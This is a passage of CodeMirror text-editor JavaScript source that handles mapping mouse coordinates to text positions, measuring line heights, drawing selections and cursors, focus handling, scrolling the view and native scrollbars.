targetTop = intoCoordSystem(cm, lineObj, measureCharPrepared(cm, preparedMeasure, target), \"line\").top;\n  return wrappedLineExtent(cm, lineObj, preparedMeasure, targetTop)\n}\n\nfunction coordsCharInner(cm, lineObj, lineNo$$1, x, y) {\n  y -= heightAtLine(lineObj);\n  var begin = 0, end = lineObj.text.length;\n  var preparedMeasure = prepareMeasureForLine(cm, lineObj);\n  var pos;\n  var order = getOrder(lineObj, cm.doc.direction);\n  if (order) {\n    if (cm.options.lineWrapping) {\n      var assign;\n      ((assign = wrappedLineExtent(cm, lineObj, preparedMeasure, y), begin = assign.begin, end = assign.end, assign));\n    }\n    pos = new Pos(lineNo$$1, Math.floor(begin + (end - begin) / 2));\n    var beginLeft = cursorCoords(cm, pos, \"line\", lineObj, preparedMeasure).left;\n    var dir = beginLeft < x ? 1 : -1;\n    var prevDiff, diff = beginLeft - x, prevPos;\n    var steps = Math.ceil((end - begin) / 4);\n    outer: do {\n      prevDiff = diff;\n      prevPos = pos;\n      var i = 0;\n      for (; i < steps; ++i) {\n        var prevPos$1 = pos;\n        pos = moveVisually(cm, lineObj, pos, dir);\n        if (pos == null || pos.ch < begin || end <= (pos.sticky == \"before\" ? pos.ch - 1 : pos.ch)) {\n          pos = prevPos$1;\n          break outer\n        }\n      }\n      diff = cursorCoords(cm, pos, \"line\", lineObj, preparedMeasure).left - x;\n      if (steps > 1) {\n        var diff_change_per_step = Math.abs(diff - prevDiff) / steps;\n        steps = Math.min(steps, Math.ceil(Math.abs(diff) / diff_change_per_step));\n        dir = diff < 0 ? 1 : -1;\n      }\n    } while (diff != 0 && (steps > 1 || ((dir < 0) != (diff < 0) && (Math.abs(diff) <= Math.abs(prevDiff)))))\n    if (Math.abs(diff) > Math.abs(prevDiff)) {\n      if ((diff < 0) == (prevDiff < 0)) { throw new Error(\"Broke out of infinite loop in coordsCharInner\") }\n      pos = prevPos;\n    }\n  } else {\n    var ch = findFirst(function (ch) {\n      var box = intoCoordSystem(cm, lineObj, measureCharPrepared(cm, preparedMeasure, ch), \"line\");\n      if (box.top > y) {\n        // For the cursor stickiness\n        end = Math.min(ch, end);\n        return true\n      }\n      else if (box.bottom <= y) { return false }\n      else if (box.left > x) { return true }\n      else if (box.right < x) { return false }\n      else { return (x - box.left < box.right - x) }\n    }, begin, end);\n    ch = skipExtendingChars(lineObj.text, ch, 1);\n    pos = new Pos(lineNo$$1, ch, ch == end ? \"before\" : \"after\");\n  }\n  var coords = cursorCoords(cm, pos, \"line\", lineObj, preparedMeasure);\n  if (y < coords.top || coords.bottom < y) { pos.outside = true; }\n  pos.xRel = x < coords.left ? -1 : (x > coords.right ? 1 : 0);\n  return pos\n}\n\nvar measureText;\n// Compute the default text height.\nfunction textHeight(display) {\n  if (display.cachedTextHeight != null) { return display.cachedTextHeight }\n  if (measureText == null) {\n    measureText = elt(\"pre\");\n    // Measure a bunch of lines, for browsers that compute\n    // fractional heights.\n    for (var i = 0; i < 49; ++i) {\n      measureText.appendChild(document.createTextNode(\"x\"));\n      measureText.appendChild(elt(\"br\"));\n    }\n    measureText.appendChild(document.createTextNode(\"x\"));\n  }\n  removeChildrenAndAdd(display.measure, measureText);\n  var height = measureText.offsetHeight / 50;\n  if (height > 3) { display.cachedTextHeight = height; }\n  removeChildren(display.measure);\n  return height || 1\n}\n\n// Compute the default character width.\nfunction charWidth(display) {\n  if (display.cachedCharWidth != null) { return display.cachedCharWidth }\n  var anchor = elt(\"span\", \"xxxxxxxxxx\");\n  var pre = elt(\"pre\", [anchor]);\n  removeChildrenAndAdd(display.measure, pre);\n  var rect = anchor.getBoundingClientRect(), width = (rect.right - rect.left) / 10;\n  if (width > 2) { display.cachedCharWidth = width; }\n  return width || 10\n}\n\n// Do a bulk-read of the DOM positions and sizes needed to draw the\n// view, so that we don't interleave reading and writing to the DOM.\nfunction getDimensions(cm) {\n  var d = cm.display, left = {}, width = {};\n  var gutterLeft = d.gutters.clientLeft;\n  for (var n = d.gutters.firstChild, i = 0; n; n = n.nextSibling, ++i) {\n    left[cm.options.gutters[i]] = n.offsetLeft + n.clientLeft + gutterLeft;\n    width[cm.options.gutters[i]] = n.clientWidth;\n  }\n  return {fixedPos: compensateForHScroll(d),\n          gutterTotalWidth: d.gutters.offsetWidth,\n          gutterLeft: left,\n          gutterWidth: width,\n          wrapperWidth: d.wrapper.clientWidth}\n}\n\n// Computes display.scroller.scrollLeft + display.gutters.offsetWidth,\n// but using getBoundingClientRect to get a sub-pixel-accurate\n// result.\nfunction compensateForHScroll(display) {\n  return display.scroller.getBoundingClientRect().left - display.sizer.getBoundingClientRect().left\n}\n\n// Returns a function that estimates the height of a line, to use as\n// first approximation until the line becomes visible (and is thus\n// properly measurable).\nfunction estimateHeight(cm) {\n  var th = textHeight(cm.display), wrapping = cm.options.lineWrapping;\n  var perLine = wrapping && Math.max(5, cm.display.scroller.clientWidth / charWidth(cm.display) - 3);\n  return function (line) {\n    if (lineIsHidden(cm.doc, line)) { return 0 }\n\n    var widgetsHeight = 0;\n    if (line.widgets) { for (var i = 0; i < line.widgets.length; i++) {\n      if (line.widgets[i].height) { widgetsHeight += line.widgets[i].height; }\n    } }\n\n    if (wrapping)\n      { return widgetsHeight + (Math.ceil(line.text.length / perLine) || 1) * th }\n    else\n      { return widgetsHeight + th }\n  }\n}\n\nfunction estimateLineHeights(cm) {\n  var doc = cm.doc, est = estimateHeight(cm);\n  doc.iter(function (line) {\n    var estHeight = est(line);\n    if (estHeight != line.height) { updateLineHeight(line, estHeight); }\n  });\n}\n\n// Given a mouse event, find the corresponding position. If liberal\n// is false, it checks whether a gutter or scrollbar was clicked,\n// and returns null if it was. forRect is used by rectangular\n// selections, and tries to estimate a character position even for\n// coordinates beyond the right of the text.\nfunction posFromMouse(cm, e, liberal, forRect) {\n  var display = cm.display;\n  if (!liberal && e_target(e).getAttribute(\"cm-not-content\") == \"true\") { return null }\n\n  var x, y, space = display.lineSpace.getBoundingClientRect();\n  // Fails unpredictably on IE[67] when mouse is dragged around quickly.\n  try { x = e.clientX - space.left; y = e.clientY - space.top; }\n  catch (e) { return null }\n  var coords = coordsChar(cm, x, y), line;\n  if (forRect && coords.xRel == 1 && (line = getLine(cm.doc, coords.line).text).length == coords.ch) {\n    var colDiff = countColumn(line, line.length, cm.options.tabSize) - line.length;\n    coords = Pos(coords.line, Math.max(0, Math.round((x - paddingH(cm.display).left) / charWidth(cm.display)) - colDiff));\n  }\n  return coords\n}\n\n// Find the view element corresponding to a given line. Return null\n// when the line isn't visible.\nfunction findViewIndex(cm, n) {\n  if (n >= cm.display.viewTo) { return null }\n  n -= cm.display.viewFrom;\n  if (n < 0) { return null }\n  var view = cm.display.view;\n  for (var i = 0; i < view.length; i++) {\n    n -= view[i].size;\n    if (n < 0) { return i }\n  }\n}\n\nfunction updateSelection(cm) {\n  cm.display.input.showSelection(cm.display.input.prepareSelection());\n}\n\nfunction prepareSelection(cm, primary) {\n  var doc = cm.doc, result = {};\n  var curFragment = result.cursors = document.createDocumentFragment();\n  var selFragment = result.selection = document.createDocumentFragment();\n\n  for (var i = 0; i < doc.sel.ranges.length; i++) {\n    if (primary === false && i == doc.sel.primIndex) { continue }\n    var range$$1 = doc.sel.ranges[i];\n    if (range$$1.from().line >= cm.display.viewTo || range$$1.to().line < cm.display.viewFrom) { continue }\n    var collapsed = range$$1.empty();\n    if (collapsed || cm.options.showCursorWhenSelecting)\n      { drawSelectionCursor(cm, range$$1.head, curFragment); }\n    if (!collapsed)\n      { drawSelectionRange(cm, range$$1, selFragment); }\n  }\n  return result\n}\n\n// Draws a cursor for the given range\nfunction drawSelectionCursor(cm, head, output) {\n  var pos = cursorCoords(cm, head, \"div\", null, null, !cm.options.singleCursorHeightPerLine);\n\n  var cursor = output.appendChild(elt(\"div\", \"\\u00a0\", \"CodeMirror-cursor\"));\n  cursor.style.left = pos.left + \"px\";\n  cursor.style.top = pos.top + \"px\";\n  cursor.style.height = Math.max(0, pos.bottom - pos.top) * cm.options.cursorHeight + \"px\";\n\n  if (pos.other) {\n    // Secondary cursor, shown when on a 'jump' in bi-directional text\n    var otherCursor = output.appendChild(elt(\"div\", \"\\u00a0\", \"CodeMirror-cursor CodeMirror-secondarycursor\"));\n    otherCursor.style.display = \"\";\n    otherCursor.style.left = pos.other.left + \"px\";\n    otherCursor.style.top = pos.other.top + \"px\";\n    otherCursor.style.height = (pos.other.bottom - pos.other.top) * .85 + \"px\";\n  }\n}\n\n// Draws the given range as a highlighted selection\nfunction drawSelectionRange(cm, range$$1, output) {\n  var display = cm.display, doc = cm.doc;\n  var fragment = document.createDocumentFragment();\n  var padding = paddingH(cm.display), leftSide = padding.left;\n  var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n\n  function add(left, top, width, bottom) {\n    if (top < 0) { top = 0; }\n    top = Math.round(top);\n    bottom = Math.round(bottom);\n    fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n                             top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n                             height: \" + (bottom - top) + \"px\")));\n  }\n\n  function drawForLine(line, fromArg, toArg) {\n    var lineObj = getLine(doc, line);\n    var lineLen = lineObj.text.length;\n    var start, end;\n    function coords(ch, bias) {\n      return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n    }\n\n    iterateBidiSections(getOrder(lineObj, doc.direction), fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir) {\n      var leftPos = coords(from, \"left\"), rightPos, left, right;\n      if (from == to) {\n        rightPos = leftPos;\n        left = right = leftPos.left;\n      } else {\n        rightPos = coords(to - 1, \"right\");\n        if (dir == \"rtl\") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }\n        left = leftPos.left;\n        right = rightPos.right;\n      }\n      if (fromArg == null && from == 0) { left = leftSide; }\n      if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part\n        add(left, leftPos.top, null, leftPos.bottom);\n        left = leftSide;\n        if (leftPos.bottom < rightPos.top) { add(left, leftPos.bottom, null, rightPos.top); }\n      }\n      if (toArg == null && to == lineLen) { right = rightSide; }\n      if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)\n        { start = leftPos; }\n      if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)\n        { end = rightPos; }\n      if (left < leftSide + 1) { left = leftSide; }\n      add(left, rightPos.top, right - left, rightPos.bottom);\n    });\n    return {start: start, end: end}\n  }\n\n  var sFrom = range$$1.from(), sTo = range$$1.to();\n  if (sFrom.line == sTo.line) {\n    drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n  } else {\n    var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n    var singleVLine = visualLine(fromLine) == visualLine(toLine);\n    var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n    var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n    if (singleVLine) {\n      if (leftEnd.top < rightStart.top - 2) {\n        add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n        add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n      } else {\n        add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n      }\n    }\n    if (leftEnd.bottom < rightStart.top)\n      { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n  }\n\n  output.appendChild(fragment);\n}\n\n// Cursor-blinking\nfunction restartBlink(cm) {\n  if (!cm.state.focused) { return }\n  var display = cm.display;\n  clearInterval(display.blinker);\n  var on = true;\n  display.cursorDiv.style.visibility = \"\";\n  if (cm.options.cursorBlinkRate > 0)\n    { display.blinker = setInterval(function () { return display.cursorDiv.style.visibility = (on = !on) ? \"\" : \"hidden\"; },\n      cm.options.cursorBlinkRate); }\n  else if (cm.options.cursorBlinkRate < 0)\n    { display.cursorDiv.style.visibility = \"hidden\"; }\n}\n\nfunction ensureFocus(cm) {\n  if (!cm.state.focused) { cm.display.input.focus(); onFocus(cm); }\n}\n\nfunction delayBlurEvent(cm) {\n  cm.state.delayingBlurEvent = true;\n  setTimeout(function () { if (cm.state.delayingBlurEvent) {\n    cm.state.delayingBlurEvent = false;\n    onBlur(cm);\n  } }, 100);\n}\n\nfunction onFocus(cm, e) {\n  if (cm.state.delayingBlurEvent) { cm.state.delayingBlurEvent = false; }\n\n  if (cm.options.readOnly == \"nocursor\") { return }\n  if (!cm.state.focused) {\n    signal(cm, \"focus\", cm, e);\n    cm.state.focused = true;\n    addClass(cm.display.wrapper, \"CodeMirror-focused\");\n    // This test prevents this from firing when a context\n    // menu is closed (since the input reset would kill the\n    // select-all detection hack)\n    if (!cm.curOp && cm.display.selForContextMenu != cm.doc.sel) {\n      cm.display.input.reset();\n      if (webkit) { setTimeout(function () { return cm.display.input.reset(true); }, 20); } // Issue #1730\n    }\n    cm.display.input.receivedFocus();\n  }\n  restartBlink(cm);\n}\nfunction onBlur(cm, e) {\n  if (cm.state.delayingBlurEvent) { return }\n\n  if (cm.state.focused) {\n    signal(cm, \"blur\", cm, e);\n    cm.state.focused = false;\n    rmClass(cm.display.wrapper, \"CodeMirror-focused\");\n  }\n  clearInterval(cm.display.blinker);\n  setTimeout(function () { if (!cm.state.focused) { cm.display.shift = false; } }, 150);\n}\n\n// Read the actual heights of the rendered lines, and update their\n// stored heights to match.\nfunction updateHeightsInViewport(cm) {\n  var display = cm.display;\n  var prevBottom = display.lineDiv.offsetTop;\n  for (var i = 0; i < display.view.length; i++) {\n    var cur = display.view[i], height = (void 0);\n    if (cur.hidden) { continue }\n    if (ie && ie_version < 8) {\n      var bot = cur.node.offsetTop + cur.node.offsetHeight;\n      height = bot - prevBottom;\n      prevBottom = bot;\n    } else {\n      var box = cur.node.getBoundingClientRect();\n      height = box.bottom - box.top;\n    }\n    var diff = cur.line.height - height;\n    if (height < 2) { height = textHeight(display); }\n    if (diff > .005 || diff < -.005) {\n      updateLineHeight(cur.line, height);\n      updateWidgetHeight(cur.line);\n      if (cur.rest) { for (var j = 0; j < cur.rest.length; j++)\n        { updateWidgetHeight(cur.rest[j]); } }\n    }\n  }\n}\n\n// Read and store the height of line widgets associated with the\n// given line.\nfunction updateWidgetHeight(line) {\n  if (line.widgets) { for (var i = 0; i < line.widgets.length; ++i)\n    { line.widgets[i].height = line.widgets[i].node.parentNode.offsetHeight; } }\n}\n\n// Compute the lines that are visible in a given viewport (defaults\n// the the current scroll position). viewport may contain top,\n// height, and ensure (see op.scrollToPos) properties.\nfunction visibleLines(display, doc, viewport) {\n  var top = viewport && viewport.top != null ? Math.max(0, viewport.top) : display.scroller.scrollTop;\n  top = Math.floor(top - paddingTop(display));\n  var bottom = viewport && viewport.bottom != null ? viewport.bottom : top + display.wrapper.clientHeight;\n\n  var from = lineAtHeight(doc, top), to = lineAtHeight(doc, bottom);\n  // Ensure is a {from: {line, ch}, to: {line, ch}} object, and\n  // forces those lines into the viewport (if possible).\n  if (viewport && viewport.ensure) {\n    var ensureFrom = viewport.ensure.from.line, ensureTo = viewport.ensure.to.line;\n    if (ensureFrom < from) {\n      from = ensureFrom;\n      to = lineAtHeight(doc, heightAtLine(getLine(doc, ensureFrom)) + display.wrapper.clientHeight);\n    } else if (Math.min(ensureTo, doc.lastLine()) >= to) {\n      from = lineAtHeight(doc, heightAtLine(getLine(doc, ensureTo)) - display.wrapper.clientHeight);\n      to = ensureTo;\n    }\n  }\n  return {from: from, to: Math.max(to, from + 1)}\n}\n\n// Re-align line numbers and gutter marks to compensate for\n// horizontal scrolling.\nfunction alignHorizontally(cm) {\n  var display = cm.display, view = display.view;\n  if (!display.alignWidgets && (!display.gutters.firstChild || !cm.options.fixedGutter)) { return }\n  var comp = compensateForHScroll(display) - display.scroller.scrollLeft + cm.doc.scrollLeft;\n  var gutterW = display.gutters.offsetWidth, left = comp + \"px\";\n  for (var i = 0; i < view.length; i++) { if (!view[i].hidden) {\n    if (cm.options.fixedGutter) {\n      if (view[i].gutter)\n        { view[i].gutter.style.left = left; }\n      if (view[i].gutterBackground)\n        { view[i].gutterBackground.style.left = left; }\n    }\n    var align = view[i].alignable;\n    if (align) { for (var j = 0; j < align.length; j++)\n      { align[j].style.left = left; } }\n  } }\n  if (cm.options.fixedGutter)\n    { display.gutters.style.left = (comp + gutterW) + \"px\"; }\n}\n\n// Used to ensure that the line number gutter is still the right\n// size for the current document size. Returns true when an update\n// is needed.\nfunction maybeUpdateLineNumberWidth(cm) {\n  if (!cm.options.lineNumbers) { return false }\n  var doc = cm.doc, last = lineNumberFor(cm.options, doc.first + doc.size - 1), display = cm.display;\n  if (last.length != display.lineNumChars) {\n    var test = display.measure.appendChild(elt(\"div\", [elt(\"div\", last)],\n                                               \"CodeMirror-linenumber CodeMirror-gutter-elt\"));\n    var innerW = test.firstChild.offsetWidth, padding = test.offsetWidth - innerW;\n    display.lineGutter.style.width = \"\";\n    display.lineNumInnerWidth = Math.max(innerW, display.lineGutter.offsetWidth - padding) + 1;\n    display.lineNumWidth = display.lineNumInnerWidth + padding;\n    display.lineNumChars = display.lineNumInnerWidth ? last.length : -1;\n    display.lineGutter.style.width = display.lineNumWidth + \"px\";\n    updateGutterSpace(cm);\n    return true\n  }\n  return false\n}\n\n// SCROLLING THINGS INTO VIEW\n\n// If an editor sits on the top or bottom of the window, partially\n// scrolled out of view, this ensures that the cursor is visible.\nfunction maybeScrollWindow(cm, rect) {\n  if (signalDOMEvent(cm, \"scrollCursorIntoView\")) { return }\n\n  var display = cm.display, box = display.sizer.getBoundingClientRect(), doScroll = null;\n  if (rect.top + box.top < 0) { doScroll = true; }\n  else if (rect.bottom + box.top > (window.innerHeight || document.documentElement.clientHeight)) { doScroll = false; }\n  if (doScroll != null && !phantom) {\n    var scrollNode = elt(\"div\", \"\\u200b\", null, (\"position: absolute;\\n                         top: \" + (rect.top - display.viewOffset - paddingTop(cm.display)) + \"px;\\n                         height: \" + (rect.bottom - rect.top + scrollGap(cm) + display.barHeight) + \"px;\\n                         left: \" + (rect.left) + \"px; width: \" + (Math.max(2, rect.right - rect.left)) + \"px;\"));\n    cm.display.lineSpace.appendChild(scrollNode);\n    scrollNode.scrollIntoView(doScroll);\n    cm.display.lineSpace.removeChild(scrollNode);\n  }\n}\n\n// Scroll a given position into view (immediately), verifying that\n// it actually became visible (as line heights are accurately\n// measured, the position of something may 'drift' during drawing).\nfunction scrollPosIntoView(cm, pos, end, margin) {\n  if (margin == null) { margin = 0; }\n  var rect;\n  if (!cm.options.lineWrapping && pos == end) {\n    // Set pos and end to the cursor positions around the character pos sticks to\n    // If pos.sticky == \"before\", that is around pos.ch - 1, otherwise around pos.ch\n    // If pos == Pos(_, 0, \"before\"), pos and end are unchanged\n    pos = pos.ch ? Pos(pos.line, pos.sticky == \"before\" ? pos.ch - 1 : pos.ch, \"after\") : pos;\n    end = pos.sticky == \"before\" ? Pos(pos.line, pos.ch + 1, \"before\") : pos;\n  }\n  for (var limit = 0; limit < 5; limit++) {\n    var changed = false;\n    var coords = cursorCoords(cm, pos);\n    var endCoords = !end || end == pos ? coords : cursorCoords(cm, end);\n    rect = {left: Math.min(coords.left, endCoords.left),\n            top: Math.min(coords.top, endCoords.top) - margin,\n            right: Math.max(coords.left, endCoords.left),\n            bottom: Math.max(coords.bottom, endCoords.bottom) + margin};\n    var scrollPos = calculateScrollPos(cm, rect);\n    var startTop = cm.doc.scrollTop, startLeft = cm.doc.scrollLeft;\n    if (scrollPos.scrollTop != null) {\n      updateScrollTop(cm, scrollPos.scrollTop);\n      if (Math.abs(cm.doc.scrollTop - startTop) > 1) { changed = true; }\n    }\n    if (scrollPos.scrollLeft != null) {\n      setScrollLeft(cm, scrollPos.scrollLeft);\n      if (Math.abs(cm.doc.scrollLeft - startLeft) > 1) { changed = true; }\n    }\n    if (!changed) { break }\n  }\n  return rect\n}\n\n// Scroll a given set of coordinates into view (immediately).\nfunction scrollIntoView(cm, rect) {\n  var scrollPos = calculateScrollPos(cm, rect);\n  if (scrollPos.scrollTop != null) { updateScrollTop(cm, scrollPos.scrollTop); }\n  if (scrollPos.scrollLeft != null) { setScrollLeft(cm, scrollPos.scrollLeft); }\n}\n\n// Calculate a new scroll position needed to scroll the given\n// rectangle into view. Returns an object with scrollTop and\n// scrollLeft properties. When these are undefined, the\n// vertical/horizontal position does not need to be adjusted.\nfunction calculateScrollPos(cm, rect) {\n  var display = cm.display, snapMargin = textHeight(cm.display);\n  if (rect.top < 0) { rect.top = 0; }\n  var screentop = cm.curOp && cm.curOp.scrollTop != null ? cm.curOp.scrollTop : display.scroller.scrollTop;\n  var screen = displayHeight(cm), result = {};\n  if (rect.bottom - rect.top > screen) { rect.bottom = rect.top + screen; }\n  var docBottom = cm.doc.height + paddingVert(display);\n  var atTop = rect.top < snapMargin, atBottom = rect.bottom > docBottom - snapMargin;\n  if (rect.top < screentop) {\n    result.scrollTop = atTop ? 0 : rect.top;\n  } else if (rect.bottom > screentop + screen) {\n    var newTop = Math.min(rect.top, (atBottom ? docBottom : rect.bottom) - screen);\n    if (newTop != screentop) { result.scrollTop = newTop; }\n  }\n\n  var screenleft = cm.curOp && cm.curOp.scrollLeft != null ? cm.curOp.scrollLeft : display.scroller.scrollLeft;\n  var screenw = displayWidth(cm) - (cm.options.fixedGutter ? display.gutters.offsetWidth : 0);\n  var tooWide = rect.right - rect.left > screenw;\n  if (tooWide) { rect.right = rect.left + screenw; }\n  if (rect.left < 10)\n    { result.scrollLeft = 0; }\n  else if (rect.left < screenleft)\n    { result.scrollLeft = Math.max(0, rect.left - (tooWide ? 0 : 10)); }\n  else if (rect.right > screenw + screenleft - 3)\n    { result.scrollLeft = rect.right + (tooWide ? 0 : 10) - screenw; }\n  return result\n}\n\n// Store a relative adjustment to the scroll position in the current\n// operation (to be applied when the operation finishes).\nfunction addToScrollTop(cm, top) {\n  if (top == null) { return }\n  resolveScrollToPos(cm);\n  cm.curOp.scrollTop = (cm.curOp.scrollTop == null ? cm.doc.scrollTop : cm.curOp.scrollTop) + top;\n}\n\n// Make sure that at the end of the operation the current cursor is\n// shown.\nfunction ensureCursorVisible(cm) {\n  resolveScrollToPos(cm);\n  var cur = cm.getCursor();\n  cm.curOp.scrollToPos = {from: cur, to: cur, margin: cm.options.cursorScrollMargin};\n}\n\nfunction scrollToCoords(cm, x, y) {\n  if (x != null || y != null) { resolveScrollToPos(cm); }\n  if (x != null) { cm.curOp.scrollLeft = x; }\n  if (y != null) { cm.curOp.scrollTop = y; }\n}\n\nfunction scrollToRange(cm, range$$1) {\n  resolveScrollToPos(cm);\n  cm.curOp.scrollToPos = range$$1;\n}\n\n// When an operation has its scrollToPos property set, and another\n// scroll action is applied before the end of the operation, this\n// 'simulates' scrolling that position into view in a cheap way, so\n// that the effect of intermediate scroll commands is not ignored.\nfunction resolveScrollToPos(cm) {\n  var range$$1 = cm.curOp.scrollToPos;\n  if (range$$1) {\n    cm.curOp.scrollToPos = null;\n    var from = estimateCoords(cm, range$$1.from), to = estimateCoords(cm, range$$1.to);\n    scrollToCoordsRange(cm, from, to, range$$1.margin);\n  }\n}\n\nfunction scrollToCoordsRange(cm, from, to, margin) {\n  var sPos = calculateScrollPos(cm, {\n    left: Math.min(from.left, to.left),\n    top: Math.min(from.top, to.top) - margin,\n    right: Math.max(from.right, to.right),\n    bottom: Math.max(from.bottom, to.bottom) + margin\n  });\n  scrollToCoords(cm, sPos.scrollLeft, sPos.scrollTop);\n}\n\n// Sync the scrollable area and scrollbars, ensure the viewport\n// covers the visible area.\nfunction updateScrollTop(cm, val) {\n  if (Math.abs(cm.doc.scrollTop - val) < 2) { return }\n  if (!gecko) { updateDisplaySimple(cm, {top: val}); }\n  setScrollTop(cm, val, true);\n  if (gecko) { updateDisplaySimple(cm); }\n  startWorker(cm, 100);\n}\n\nfunction setScrollTop(cm, val, forceScroll) {\n  val = Math.min(cm.display.scroller.scrollHeight - cm.display.scroller.clientHeight, val);\n  if (cm.display.scroller.scrollTop == val && !forceScroll) { return }\n  cm.doc.scrollTop = val;\n  cm.display.scrollbars.setScrollTop(val);\n  if (cm.display.scroller.scrollTop != val) { cm.display.scroller.scrollTop = val; }\n}\n\n// Sync scroller and scrollbar, ensure the gutter elements are\n// aligned.\nfunction setScrollLeft(cm, val, isScroller, forceScroll) {\n  val = Math.min(val, cm.display.scroller.scrollWidth - cm.display.scroller.clientWidth);\n  if ((isScroller ? val == cm.doc.scrollLeft : Math.abs(cm.doc.scrollLeft - val) < 2) && !forceScroll) { return }\n  cm.doc.scrollLeft = val;\n  alignHorizontally(cm);\n  if (cm.display.scroller.scrollLeft != val) { cm.display.scroller.scrollLeft = val; }\n  cm.display.scrollbars.setScrollLeft(val);\n}\n\n// SCROLLBARS\n\n// Prepare DOM reads needed to update the scrollbars. Done in one\n// shot to minimize update/measure roundtrips.\nfunction measureForScrollbars(cm) {\n  var d = cm.display, gutterW = d.gutters.offsetWidth;\n  var docH = Math.round(cm.doc.height + paddingVert(cm.display));\n  return {\n    clientHeight: d.scroller.clientHeight,\n    viewHeight: d.wrapper.clientHeight,\n    scrollWidth: d.scroller.scrollWidth, clientWidth: d.scroller.clientWidth,\n    viewWidth: d.wrapper.clientWidth,\n    barLeft: cm.options.fixedGutter ? gutterW : 0,\n    docHeight: docH,\n    scrollHeight: docH + scrollGap(cm) + d.barHeight,\n    nativeBarWidth: d.nativeBarWidth,\n    gutterWidth: gutterW\n  }\n}\n\nvar NativeScrollbars = function(place, scroll, cm) {\n  this.cm = cm;\n  var vert = this.vert = elt(\"div\", [elt(\"div\", null, null, \"min-width: 1px\")], \"CodeMirror-vscrollbar\");\n  var horiz = this.horiz = elt(\"div\", [elt(\"div\", null, null, \"height: 100%; min-height: 1px\")], \"CodeMirror-hscrollbar\");\n  place(vert); place(horiz);\n\n  on(vert, \"scroll\", function () {\n    if (vert.clientHeight) { scroll(vert.scrollTop, \"vertical\"); }\n  });\n  on(horiz, \"scroll\", function () {\n    if (horiz.clientWidth) { scroll(horiz.scrollLeft, \"horizontal\"); }\n  });\n\n  this.checkedZeroWidth = false;\n  // Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).\n  if (ie && ie_version < 8) { this.horiz.style.minHeight = this.vert.style.minWidth = \"18px\"; }\n};\n\nNativeScrollbars.prototype.update = function (measure) {\n  var needsH = measure.scrollWidth > measure.clientWidth + 1;\n  var needsV = measure.scrollHeight > measure.clientHeight + 1;\n  var sWidth = measure.nativeBarWidth;\n\n  if (needsV) {\n    this.vert.style.display = \"block\";\n    this.vert.style.bottom = needsH ? sWidth + \"px\" : \"0\";\n    var totalHeight = measure.viewHeight - (needsH ? sWidth : 0);\n    // A bug in IE8 can cause this value to be negative, so guard it.\n    this.vert.firstChild.style.height =\n      Math.max(0, measure.scrollHeight - measure.clientHeight + totalHeight) + \"px\";\n  } else {\n    this.vert.style.display = \"\";\n    this.vert.firstChild.style.height = \"0\";\n  }\n\n  if (needsH) {\n    this.horiz.style.display = \"block\";\n    this.horiz.style.right = needsV ? sWidth + \"px\" : \"0\";\n    this.horiz.style.left = measure.barLeft + \"px\";\n    var totalWidth = measure.viewWidth - measure.barLeft - (needsV ? sWidth : 0);\n    this.horiz.firstChild.style.width =\n      Math.max(0, measure.scrollWidth - measure.clientWidth + totalWidth) + \"px\";\n  } else {\n    this.horiz.style.display = \"\";\n    this.horiz.firstChild.style.width = \"0\";\n  }\n\n  if (!this.checkedZeroWidth && measure.clientHeight > 0) {\n    if (sWidth == 0) { this.zeroWidthHack(); }\n    this.checkedZeroWidth = true;\n  }\n\n  return {right: needsV ? sWidth : 0, bottom: needsH ? sWidth : 0}\n};\n\nNativeScrollbars.prototype.setScrollLeft = function (pos) {\n  if (this.horiz.scrollLeft != pos) { this.horiz.scrollLeft = pos; }\n  if (this.disableHoriz) { this.enableZeroWidthBar(this.horiz, this.disableHoriz, \"horiz\"); }\n};\n\nNativeScrollbars.prototype.setScrollTop = function (pos) {\n  if (this.vert.scrollTop != pos) { this.vert.scrollTop = pos; }\n  if (this.disableVert) { this.enableZeroWidthBar(this.vert, this.disableVert, \"vert\"); }\n};\n\nNativeScrollbars.prototype.zeroWidthHack = function () {\n  var w = mac && !mac_geMountainLion ? \"12px\" : \"18px\";\n  this.horiz.style.height = this.vert.style.width = w;\n  this.horiz.style.pointerEvents = this.vert.style.pointerEvents = \"none\";\n  this.disableHoriz = new Delayed;\n  this.disableVert = new Delayed;\n};\n\nNativeScrollbars.prototype.enableZeroWidthBar = function (bar, delay, type) {\n  bar.style.pointerEvents = \"auto\";\n  function maybeDisable() {\n    // To find out whether the scrollbar is still visible, we\n    // check whether the element under the pixel in the bottom\n    // right corner of the scrollbar box is the scrollbar box\n    // itself (when the bar is still visible) or its filler child\n    // (when the bar is hidden). If it is still visible, we keep\n    // it enabled, if it's hidden, we disable pointer events.\n    var box = bar.getBoundingClientRect();\n    var elt$$1 = type == \"vert\" ? document.elementFromPoint(box.right - 1, (box.top + box.bottom) / 2)\n        : document.elementFromPoint((box.right + box.left) / 2, box.bottom - 1);\n    if (elt$$1 != bar) { bar.style.pointerEvents = \"none\"; }\n    else { delay.set(1000, maybeDisable); }\n  }\n  delay.set(1000, maybeDisable);\n};\n\nNativeScrollbars.prototype.clear = function () {\n  var parent = this.horiz.parentNode;\n  parent.removeChild(this.horiz);\n  parent.removeChild(this.vert);\n};\n\nvar NullScrollbars = function () {};\n\nNullScrollbars.prototype.update = function () { return {bottom: 0, right: 0} };\nNullScrollbars.prototype.setScrollLeft = function () {};\nNullScrollbars.prototype.setScrollTop = function () 